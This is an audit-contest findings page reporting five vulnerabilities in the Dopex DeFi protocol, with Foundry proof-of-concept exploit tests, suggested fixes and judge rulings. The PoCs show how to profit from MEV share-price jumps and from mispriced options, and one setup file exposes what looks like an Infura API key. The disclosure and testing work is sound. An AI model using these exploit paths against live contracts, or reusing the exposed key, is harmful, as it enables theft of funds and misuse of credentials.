Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 47/189
Findings: 5
Award: $336.13
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Toshii
Also found by: 0x3b, 0xDING99YA, 0xmystery, Cosine, Jiamin, Juntao, Matin, Qeew, Topmark, catwhiskeys, circlelooper, crunch, deadrxsezzz, eeshenggoh, lsaudit, peakbolt, pep7siup, piyushshukla, qpzm, visualbits
96.3292 USDC - $96.33
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L270 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L576-L583 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L104
The strike price of an option should be 0.75 * currentPrice
to support the peg between dpxETH and ETH.
However, the strike price can be higher than the current rdpx price in ETH, because it is rounded up to 1e6.
An attacker can force the protocol to sell all ETH in the VaultLP too cheap through purchasing options and settling them at the higher strike price.
Add tests/rdpxV2-core/POC.sol
and run forge test --mt test_bond_at_low_rdpx_price
.
The price of rdpx is $21.4 and ETH worth $1631.38 as of September 5, 2023. This is about 0.013, namely 1.3e6 in decimals 8.
It is likely that the price of rdpx in ETH decreases below 1e6 if ETH price increases or rdpx price decreases. In this case, the strike price is higher than the current price.
Moreover, Rounding up by 1e6 may make the strike price equal to the current price as long as (current price * 0.25 <= 1e6).
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import { Test } from "forge-std/Test.sol"; import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import { Setup } from "./Setup.t.sol"; import { console } from "forge-std/console.sol"; contract Integration is ERC721Holder, Setup { function test_bond_at_low_rdpx_price() public { // @audit set rdpx price to 1e6 rdpxPriceOracle.updateRdpxPrice(0.5e6); uint256 receiptTokens1 = rdpxV2Core.bond(1e18, 0, address(1)); (uint256 strike, ,) = vault.optionPositions(0); assertEq(rdpxPriceOracle.getRdpxPriceInEth(), 0.5e6); // @audit strike price is 1e6 because it is rounded up to 1e6 assertEq(strike, 1e6); } }
Manual, foundry
roundingPrecision
is too high considering the price of rdpx in ETH. Please lower the precision.
uint256 public roundingPrecision = 1e6;
Math
#0 - c4-pre-sort
2023-09-09T05:28:30Z
bytes032 marked the issue as duplicate of #2083
#1 - c4-pre-sort
2023-09-12T04:43:43Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T14:11:42Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: said
Also found by: 0Kage, 0xCiphky, 0xkazim, 836541, AkshaySrivastav, Evo, HChang26, HHK, KrisApostolov, Neon2835, QiuhaoLi, Tendency, Toshii, bart1e, bin2chen, carrotsmuggler, chaduke, etherhood, gjaldon, glcanvas, josephdara, lanrebayode77, mahdikarimi, max10afternoon, nobody2018, peakbolt, qpzm, rvierdiiev, sces60107, tapir, ubermensch, volodya
17.313 USDC - $17.31
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L190-L196 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L218-L228
When addProceeds
and addRdpx
is called after a big amount of assets received, the tx can be sandwiched by a deposit and a redeem
by a MEV attacker who wants to take the funding fee without risk.
Add the code below in tests/perp-vault.POC.sol
and run forge test --mt test_addProceeds_MEV
.
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import {Test} from "forge-std/Test.sol"; import {ERC721Holder} from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import {Setup} from "./Setup.t.sol"; import {PerpetualAtlanticVault} from "contracts/perp-vault/PerpetualAtlanticVault.sol"; import {console} from "forge-std/console.sol"; import "./Users/hyunminlee/Development/audit/code4rena/2023-08-dopex/contracts/perp-vault/PerpetualAtlanticVault.sol"; contract POC is ERC721Holder, Setup { // ================================ HELPERS ================================ // function mintWeth(uint256 _amount, address _to) public { weth.mint(_to, _amount); } function mintRdpx(uint256 _amount, address _to) public { rdpx.mint(_to, _amount); } function deposit(uint256 _amount, address _from) public { vm.startPrank(_from, _from); vaultLp.deposit(_amount, _from); vm.stopPrank(); } function purchase(uint256 _amount, address _as) public returns (uint256 id) { vm.startPrank(_as, _as); (, id) = vault.purchase(_amount, _as); vm.stopPrank(); } function setApprovals(address _as) public { vm.startPrank(_as, _as); rdpx.approve(address(vault), type(uint256).max); rdpx.approve(address(vaultLp), type(uint256).max); weth.approve(address(vault), type(uint256).max); weth.approve(address(vaultLp), type(uint256).max); vm.stopPrank(); } // ================================ CORE ================================ // function test_addProceeds_MEV() external { setApprovals(address(1)); uint256 amount = 1 ether; mintWeth(amount, address(1)); weth.transfer(address(vaultLp), amount); // @audit address 1 deposit 1 ether vm.startPrank(address(1)); uint256 shares = vaultLp.deposit(amount, address(1)); console.log("shares: %s", shares); // 1e18 vm.stopPrank(); // @audit VaultLP has received 1 ether through addProceeds by PerpetualAtlanticVaul vm.startPrank(address(vault)); vaultLp.addProceeds(amount); vm.stopPrank(); vm.startPrank(address(1)); (uint256 assets, uint256 rdpxAmount) = vaultLp.redeemPreview(shares); console.log("assets: %s, rdpxAmount: %s", assets, rdpxAmount); // 2e18, 0 vaultLp.redeem(shares, address(1), address(1)); vm.stopPrank(); // @audit The value of a share becomes 2 times assertEq(weth.balanceOf(address(1)), 2 * amount); } }
Manual, Foundry
Split reward distribution into epochs and increase the value of a share slowly as the funding rate of PerpetualAtlanticVault or xERC4626. https://github.com/fei-protocol/ERC4626/blob/main/src/xERC4626.sol https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L594-L614
ERC4626
#0 - bytes032
2023-09-12T08:09:34Z
LQ because of front-running on Arb
#1 - c4-pre-sort
2023-09-12T08:09:43Z
bytes032 marked the issue as low quality report
#2 - GalloDaSballo
2023-10-03T08:13:54Z
This seems to be a legitimate concern (need to understand impact better), if the vault gives X value at time Y, then you can always deposit at [0, X) so the concern doesn't require sandwhiching
#3 - c4-judge
2023-10-20T08:53:15Z
GalloDaSballo changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-10-20T11:39:06Z
GalloDaSballo marked the issue as duplicate of #395
#5 - c4-judge
2023-10-20T19:01:07Z
GalloDaSballo marked the issue as duplicate of #867
#6 - c4-judge
2023-10-20T19:56:35Z
GalloDaSballo changed the severity to 3 (High Risk)
#7 - c4-judge
2023-10-20T20:09:08Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: bin2chen
Also found by: 0Kage, 0xDING99YA, QiuhaoLi, Toshii, Yanchuan, carrotsmuggler, deadrxsezzz, ether_sky, flacko, gjaldon, kutugu, mert_eren, pep7siup, qpzm, said, sces60107, tapir, ubermensch
39.433 USDC - $39.43
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/reLP/ReLPContract.sol#L273-L275
Because tokenA is rdpx and tokenB is WETH, the rdpx price in ETH, i.e. tokenAInfo.tokenAPrice
is less than 1.
Therefore, minTokenAAmount
is calculated to an unexpectedly smaller value, which makes the tx vulnerable to a sandwich attacks.
In ReLPContract.reLP
, minTokenAAmount
of swapping B to A is calculated by multiplying tokenAPrice
to amountB
.
It must be divided by tokenAPrice
to get the correct amount of A.
// @audit tokenAAmount must be amountB * tokenB price in tokenA mintokenAAmount = (((amountB / 2) * tokenAInfo.tokenAPrice) / 1e8)
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/reLP/ReLPContract.sol#L273-L275
Manual
Divide tokenB amount by the price of tokenA to get the tokenA amount.
- mintokenAAmount = - (((amountB / 2) * tokenAInfo.tokenAPrice) / 1e8) - - (((amountB / 2) * tokenAInfo.tokenAPrice * slippageTolerance) / 1e16); + mintokenAAmount = + (((amountB / 2) * 1e8) / tokenAInfo.tokenAPrice) - + (((amountB / 2 * 1e8) / tokenAInfo.tokenAPrice * slippageTolerance) / 1e8);
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/reLP/ReLPContract.sol#L273-L275
Error
#0 - c4-pre-sort
2023-09-10T07:39:33Z
bytes032 marked the issue as duplicate of #1805
#1 - c4-pre-sort
2023-09-14T06:43:48Z
bytes032 marked the issue as low quality report
#2 - c4-pre-sort
2023-09-14T06:43:52Z
bytes032 marked the issue as sufficient quality report
#3 - c4-judge
2023-10-16T08:47:52Z
GalloDaSballo changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-10-20T09:23:56Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: said
Also found by: 0xWaitress, Nyx, RED-LOTUS-REACH, Tendency, __141345__, carrotsmuggler, nirlin, peakbolt, qpzm, wallstreetvilkas
158.2271 USDC - $158.23
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L333 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L539-L551 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/libraries/OptionPricingSimple.sol#L66-L93 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/libraries/BlackScholes.sol#L33-L89
The option price become too cheap when it is near the end of an epoch. There will be few participants to deposit WETH to VaultLP because it is not profitable relative to the risk.
An option can be settled regardless of when it is purchased. In other words, it has no expiry. https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L333 However, a price of an option depends on how many days left until the expiry in decimal 2. One day is denoted as 100. https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/libraries/OptionPricingSimple.sol#L66-L92
Add the code below in tests/perp-vault/POC.sol
and run forge test --mt test_buyOption_Cheap
.
I used volatilityCap
and minOptionPricePercentage
as 1000 and 1 respectively.
The value is taken from the live contract.
https://arbiscan.io/address/0x2b99e3d67dad973c1b9747da742b7e26c8bdd67b#code
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import { Test } from "forge-std/Test.sol"; import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import { OptionPricingSimple } from "contracts/libraries/OptionPricingSimple.sol"; import { console } from "forge-std/console.sol"; // Core import { PerpetualAtlanticVault } from "contracts/perp-vault/PerpetualAtlanticVault.sol"; import { PerpetualAtlanticVaultLP } from "contracts/perp-vault/PerpetualAtlanticVaultLP.sol"; // Mock import { MockToken } from "contracts/mocks/MockToken.sol"; import { MockRdpxEthPriceOracle } from "contracts/mocks/MockRdpxEthPriceOracle.sol"; import { MockVolatilityOracle } from "contracts/mocks/MockVolatilityOracle.sol"; import { MockOptionPricing } from "contracts/mocks/MockOptionPricing.sol"; import { MockStakingStrategy } from "contracts/mocks/MockStakingStrategy.sol"; // imporrt uni v2 interfaces import { IUniswapV2Factory } from "contracts/uniswap_V2/IUniswapV2Factory.sol"; import { IUniswapV2Pair } from "contracts/uniswap_V2/IUniswapV2Pair.sol"; import { IUniswapV2Router } from "contracts/uniswap_V2/IUniswapV2Router.sol"; contract Setup is Test, ERC721Holder { MockToken public weth; MockToken public rdpx; MockStakingStrategy public staking; MockVolatilityOracle public volOracle; MockOptionPricing public optionPricing; MockRdpxEthPriceOracle public priceOracle; PerpetualAtlanticVault public vault; IUniswapV2Factory public uniswapV2Factory; IUniswapV2Router public router; IUniswapV2Pair public ammPair; PerpetualAtlanticVaultLP public vaultLp; string internal constant ARBITRUM_RPC_URL = "https://arbitrum-mainnet.infura.io/v3/c088bb4e4cc643d5a0d3bb668a400685"; uint256 internal constant BLOCK_NUM = 24023149; // 2022/09/13 // Function to setup the test function setUp() public { uint256 forkId = vm.createFork(ARBITRUM_RPC_URL, BLOCK_NUM); vm.selectFork(forkId); weth = new MockToken("Wrapped ETH", "WETH"); staking = new MockStakingStrategy(); volOracle = new MockVolatilityOracle(); optionPricing = new MockOptionPricing(); priceOracle = new MockRdpxEthPriceOracle(); rdpx = new MockToken("Rebate Token", "rDPX"); uniswapV2Factory = IUniswapV2Factory( 0xc35DADB65012eC5796536bD9864eD8773aBc74C4 ); vault = new PerpetualAtlanticVault( "RDPX Vault", "PAV", address(weth), (block.timestamp + 86400) ); router = IUniswapV2Router(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506); vaultLp = new PerpetualAtlanticVaultLP( address(vault), address(100), address(weth), address(rdpx), "WETH" ); vault.setAddresses( address(optionPricing), address(priceOracle), address(volOracle), address(1), address(rdpx), address(vaultLp), address(this) ); vault.grantRole(vault.RDPXV2CORE_ROLE(), address(this)); rdpx.mint(address(this), 2000 * 1e18); weth.mint(address(this), 200 * 1e18); weth.mint(address(this), 3000 * 1e18); address _pair = uniswapV2Factory.createPair(address(rdpx), address(weth)); ammPair = IUniswapV2Pair(_pair); rdpx.approve(address(router), type(uint256).max); weth.approve(address(router), type(uint256).max); weth.approve(address(vault), type(uint256).max); rdpx.approve(address(vault), type(uint256).max); weth.approve(address(vaultLp), type(uint256).max); rdpx.approve(address(vaultLp), type(uint256).max); router.addLiquidity( address(rdpx), address(weth), 1000 * 1e18, 200 * 1e18, 100 * 1e18, 200 * 1e18, msg.sender, block.timestamp + 300 ); vault.addToContractWhitelist(address(this)); vault.updateFundingDuration(86400); priceOracle.updateRdpxPrice(0.02 gwei); // 1 rdpx = 0.2 WETH } } contract POC is ERC721Holder, Setup { // ================================ HELPERS ================================ // function mintWeth(uint256 _amount, address _to) public { weth.mint(_to, _amount); } function mintRdpx(uint256 _amount, address _to) public { rdpx.mint(_to, _amount); } function deposit(uint256 _amount, address _from) public { vm.startPrank(_from, _from); vaultLp.deposit(_amount, _from); vm.stopPrank(); } function purchase(uint256 _amount, address _as) public returns (uint256 id) { vm.startPrank(_as, _as); (, id) = vault.purchase(_amount, _as); vm.stopPrank(); } function setApprovals(address _as) public { vm.startPrank(_as, _as); rdpx.approve(address(vault), type(uint256).max); rdpx.approve(address(vaultLp), type(uint256).max); weth.approve(address(vault), type(uint256).max); weth.approve(address(vaultLp), type(uint256).max); vm.stopPrank(); } OptionPricingSimple public optionPricingSimple; // ================================ CORE ================================ // function test_buyOption_Cheap() external { uint256 volatilityCap = 1000; uint256 minOptionPricePercentage = 1; optionPricingSimple = new OptionPricingSimple(volatilityCap, minOptionPricePercentage); vm.label(address(optionPricingSimple), "optionPricingSimple"); vm.expectRevert("SafeERC20: approve from non-zero to non-zero allowance"); vault.setAddresses( address(optionPricingSimple), address(priceOracle), address(volOracle), address(1), address(rdpx), address(vaultLp), address(this) ); // @audit set the funding duration to 7 days, the same as PerpetualAtlanticVault vault.updateFundingDuration(86400 * 7); // prepare the vaultLp with WETH setApprovals(address(1)); mintWeth(5 ether, address(1)); deposit(5 ether, address(1)); uint256 amount = 1 ether; mintWeth(amount, address(this)); // @audit the option price is 16481 when the left time is 7 days skip(86400); // skip to the next epoch vault.purchase(amount, address(1)); assertEq(optionPricingSimple.getOptionPrice(15000000, 20000000, 100, 604800), 16481); // @audit if the left time is less than 864, revert with division by zero error. // @audit the option price is 0 when the left time is 864. Input `expiry` is divided by 864 in OptionPricingSimple.getOptionPrice skip(7 days - 864); vault.purchase(amount, address(1)); assertEq(optionPricingSimple.getOptionPrice(15000000, 20000000, 100, 864), 0); // @audit the option price increases if the expiry gets longer. assertEq(optionPricingSimple.getOptionPrice(15000000, 20000000, 100, 365 days), 4458523); } }
Manual, foundry
Reconsider the pricing of the option. If the option does not expire, the price should be calculated with a very long expiry. And Black-Scholes model is for an European option which a buyer can exercise only at the expiration date.
The Black-Scholes model is only used to price European options and does not take into account that American options could be exercised before the expiration date. Reference: https://www.investopedia.com/terms/b/blackscholes.asp
Math
#0 - c4-pre-sort
2023-09-09T11:16:12Z
bytes032 marked the issue as high quality report
#1 - c4-pre-sort
2023-09-09T11:16:17Z
bytes032 marked the issue as primary issue
#2 - c4-pre-sort
2023-09-11T15:43:36Z
bytes032 marked the issue as duplicate of #1440
#3 - c4-pre-sort
2023-09-14T09:10:46Z
bytes032 marked the issue as remove high or low quality report
#4 - c4-pre-sort
2023-09-14T09:10:51Z
bytes032 marked the issue as high quality report
#5 - c4-pre-sort
2023-09-14T09:10:57Z
bytes032 marked the issue as not a duplicate
#6 - c4-pre-sort
2023-09-14T09:11:17Z
bytes032 marked the issue as primary issue
#7 - c4-sponsor
2023-09-25T16:17:36Z
psytama (sponsor) disputed
#8 - psytama
2023-09-25T16:18:52Z
This is a design choice and the funding would be fair even if the initial premium paid by the user is less at the end of the epoch.
#9 - qpzm
2023-10-12T18:37:54Z
The sponsor's words are understandable that a put option in the protocol does not expire but funding fee is paid regularly.
However there are three points to be noted.
uint256 timeToExpiry = nextFundingPaymentTimestamp() - block.timestamp
is less than 864, the tx reverts.
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L283// @audit if the left time is less than 864, revert with division by zero error. // @audit the option price is 0 when the left time is 864. Input `expiry` is divided by 864 in OptionPricingSimple.getOptionPrice skip(7 days - 864); vault.purchase(amount, address(1)); assertEq(optionPricingSimple.getOptionPrice(15000000, 20000000, 100, 864), 0);
// @audit zero until `uint256 timeToExpiry` <= 152 assertEq(optionPricingSimple.getOptionPrice(15000000, 20000000, 100, 86400 + 45791), 0); // @audit uint256 timeToExpiry = (expiry * 100) / 86400; becomes 153 -> not zero assertGt(optionPricingSimple.getOptionPrice(15000000, 20000000, 100, 86400 + 45792), 0);
#10 - c4-judge
2023-10-20T11:54:46Z
GalloDaSballo marked the issue as duplicate of #761
#11 - c4-judge
2023-10-20T11:54:59Z
GalloDaSballo changed the severity to 2 (Med Risk)
#12 - c4-judge
2023-10-20T15:36:57Z
GalloDaSballo marked the issue as satisfactory
#13 - c4-judge
2023-10-20T19:10:39Z
GalloDaSballo removed the grade
#14 - c4-judge
2023-10-21T07:21:09Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: degensec
Also found by: 0x3b, 0xnev, HChang26, KmanOfficial, QiuhaoLi, T1MOH, WoolCentaur, Yanchuan, ayden, bart1e, jasonxiale, kutugu, mert_eren, nirlin, peakbolt, peanuts, pep7siup, qpzm, tapir, ubermensch, wintermute
24.8267 USDC - $24.83
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/reLP/ReLPContract.sol#L286-L307
Calling reLP
may accumulate losses of tokenB(weth), because it is not returned to rdpxV2Core
.
The process of reLP
consists of 3 steps and tokenA(rdpx) or tokenB(weth) may be left to the contract because IUniswapV2Router.addLiquidity
takes tokens in proportion to the token ratio of the pair.
IUniswapV2Router.removeLiquidity
IUniswapV2Router.swapExactTokensForTokens
: this changes the ratio of LP pairIUniswapV2Router.addLiquidity
balanceOf
is only called to addresses.tokenA
.
There is no way to send all left tokenB to rdpxCore, so the remainders keep accumulated.Reference
Manual
Return tokenB, i.e. weth, to rdpxV2Core
.
// transfer rdpx to rdpxV2Core IERC20WithBurn(addresses.tokenA).safeTransfer( addresses.rdpxV2Core, IERC20WithBurn(addresses.tokenA).balanceOf(address(this)) ); + // transfer weth to rdpxV2Core + IERC20WithBurn(addresses.tokenB).safeTransfer( + addresses.rdpxV2Core, + IERC20WithBurn(addresses.tokenB).balanceOf(address(this)) + ); IRdpxV2Core(addresses.rdpxV2Core).sync();
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/reLP/ReLPContract.sol#L286-L307
Token-Transfer
#0 - c4-pre-sort
2023-09-10T10:44:20Z
bytes032 marked the issue as duplicate of #1286
#1 - c4-pre-sort
2023-09-11T15:38:27Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-10T17:52:40Z
GalloDaSballo changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-10-18T12:13:26Z
GalloDaSballo marked the issue as satisfactory